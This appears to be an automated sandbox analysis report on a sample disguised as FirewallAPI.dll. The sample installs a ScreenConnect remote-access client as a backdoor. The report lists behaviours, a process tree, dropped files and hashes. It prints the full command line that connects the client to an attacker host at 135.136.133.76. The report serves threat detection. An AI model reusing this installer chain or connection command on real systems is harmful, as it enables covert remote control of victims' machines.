Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/09/2026, 18:31

General

  • Target
    Account_Transcript/FirewallAPI.dll
  • Size 12.9MB
  • Sample260929-w52tnsda39
  • SHA256 39923ed0e95cd4912c76466a90fcba015752fec7ae5811831acf8cdb1afcf884
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 47 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\Account_Transcript\FirewallAPI.dll,#1
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:5428
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6E26026886173CF08B2F949956DEC6A2 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3620
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8785.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240748687 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5976
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5984
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 565F8AEAA34093C055A10896E1BBF22C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4684
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E27EECF4F2A4C2D467F90592202FB784 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1744
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4460
    • C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=135.136.133.76&p=8041&s=10c5a535-1fe8-4ff5-b02a-8e2ec0e7de29&k=BgIAAACkAABSU0ExAAgAAAEAAQCdC%2fFjIuvL3%2fAE5jSm8yLzPaeSkUkW9yoxkiNudx0jg1l7roFp4frIlkhplHaifYHUDyUYl0lRee%2bhB4Qu1Tl%2bAm%2fAG57hE9%2fBdAynrCsjO4ay4a4Oq6kvs%2b%2bQYLWQVGPqvH%2bn%2bFRxsVH4h9ujY27DTBmwfU6rd2St5VuQ96bjbFtEv34Tmiy30Rylcy3VfB56MrB43vUl1DgBYtFkIYIlKkUsbM1Mkogk4lSqQKTHEjVElhdZGQrh2uPC%2bn6BObK34z3UDfosMX%2fBGOQVhxMEbkSkINVwbATD5jow9wrfb8JSWsw%2f9t4u82Uq%2fhkncFJ9CkuHeUvWA0WeeBPqFVna&t=Link"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe" "RunRole" "8e74c253-3e66-4314-bd24-8b0f1bb0591d" "User"
        2⤵
        • Executes dropped EXE
        PID:6128
      • C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe" "RunRole" "5ee9817f-59a9-4361-9b95-07469d0481f1" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4520

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59d0f3.rbs

          • Path C:\Config.Msi\e59d0f3.rbs
          • Size 214KB
          • SHA256 9855000993d53761cc7d5bfb1ee4cb0430e40658b9bb03309ce2202a3663087f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\Client.Override.resources
          • Size 43KB
          • SHA256 a6dfe06f5e03fc07ab138db534f0f257c0b16a9e7e45db1553116769a1d6e520
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\app.config
          • Size 963B
          • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (64fb193c562202ad)\system.config
          • Size 948B
          • SHA256 724f8dcce0f0b1bd290187fe7a34dba44f7ec7578d123409d3e07d5267d7e8e2
          • MD5 SHA1 SHA512 TLSH

          MSI8785.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8785.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8785.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8785.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8785.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8785.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
          • Size 12.9MB
          • SHA256 4435ae67053e3aaa89bf6a1829b5ffa0847aae30a23274a22fd9da45898eceaa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSID4FB.tmp

          • Path C:\Windows\Installer\MSID4FB.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 decbce029935bbf9a7b213a145a0039ceec6d1369804f0e143adcfa424f4e68f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {952220a4-d0dc-4aa0-b3a3-bf178b39f98c}_OnDiskSnapshotProp

          • Path \??\Volume{804c0bee-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{952220a4-d0dc-4aa0-b3a3-bf178b39f98c}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 b1c2faca893fbb532e73c6d4bfbec1b754805e7345fd5b4f8cdf24946816c307
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2724-83-0x00000000020F0000-0x0000000002108000-memory.dmp

          memory/2724-112-0x0000000004CB0000-0x0000000004CF1000-memory.dmp

          memory/2724-110-0x0000000004D50000-0x0000000004DE2000-memory.dmp

          memory/2724-114-0x0000000004F40000-0x0000000005015000-memory.dmp

          memory/2724-109-0x0000000004C70000-0x0000000004CA6000-memory.dmp

          memory/2724-105-0x0000000004C20000-0x0000000004C70000-memory.dmp

          memory/3968-7-0x00007FFDC7550000-0x00007FFDC8247000-memory.dmp

          memory/5976-34-0x0000000005450000-0x00000000054DC000-memory.dmp

          memory/5976-30-0x0000000005340000-0x000000000534A000-memory.dmp

          memory/5976-26-0x0000000005300000-0x000000000532E000-memory.dmp

          memory/5976-39-0x0000000005E00000-0x00000000063BA000-memory.dmp

          memory/5976-38-0x0000000005690000-0x000000000583C000-memory.dmp

          memory/6128-126-0x000000001BC20000-0x000000001BCAC000-memory.dmp

          memory/6128-127-0x000000001BE60000-0x000000001C00C000-memory.dmp

          memory/6128-125-0x0000000002E80000-0x0000000002EB6000-memory.dmp

          memory/6128-124-0x0000000000B80000-0x0000000000C18000-memory.dmp

          memory/6128-128-0x000000001C1A0000-0x000000001C328000-memory.dmp

          memory/6128-130-0x0000000002FF0000-0x0000000003008000-memory.dmp

          memory/6128-129-0x0000000002D30000-0x0000000002D48000-memory.dmp